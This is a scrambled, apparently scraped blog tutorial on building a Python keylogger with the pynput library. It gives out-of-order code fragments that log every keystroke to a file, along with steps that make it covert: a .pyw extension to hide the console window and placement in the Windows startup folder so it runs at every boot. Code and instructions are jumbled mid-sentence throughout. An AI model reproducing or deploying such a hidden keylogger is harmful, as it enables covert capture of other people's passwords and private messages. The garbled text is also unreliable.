![]() ![]() ![]() DEBUG, format = ' %(asctime)s : %(message)s ' ) def on_press ( key ): logging. basicConfig ( filename = ( log_dir + "key_log.txt" ), level = logging. Right-click on this and end the task.įrom pynput.keyboard import Key, Listener import logging log_dir = "" logging. If you have an older version of windows, I recommend looking for pythonw.exe. To stop the keylogger, open up task manager and look for anything named python as shown below due to windows just showing program names. Make sure this folder path uses forward slashes ('/') and contains a forward slash at the end. Open the keylogger in IDLE and now change the log_dir to the location of the folder you just created. Make sure this folder is not in the startup folder or it will be opened every time the computer has started. This will open a window at your startup folder.Ĭopy the keylogger into this folder and then create a new folder somewhere else for logs to be saved to. Now type shell:startup in the dialog and press enter. Hold down the windows button and press "R" or type run in the windows menu to make the run dialog appear. ![]() To make the script run on startup first go to your startup folder. Errors will show up in here if some do occur. Run the script in IDLE to make sure that you haven't made any errors. pyw file extension to make sure that the console doesn't appear when it's run. With Listener ( on_press = on_press ) as listener : listener.
0 Comments
Leave a Reply. |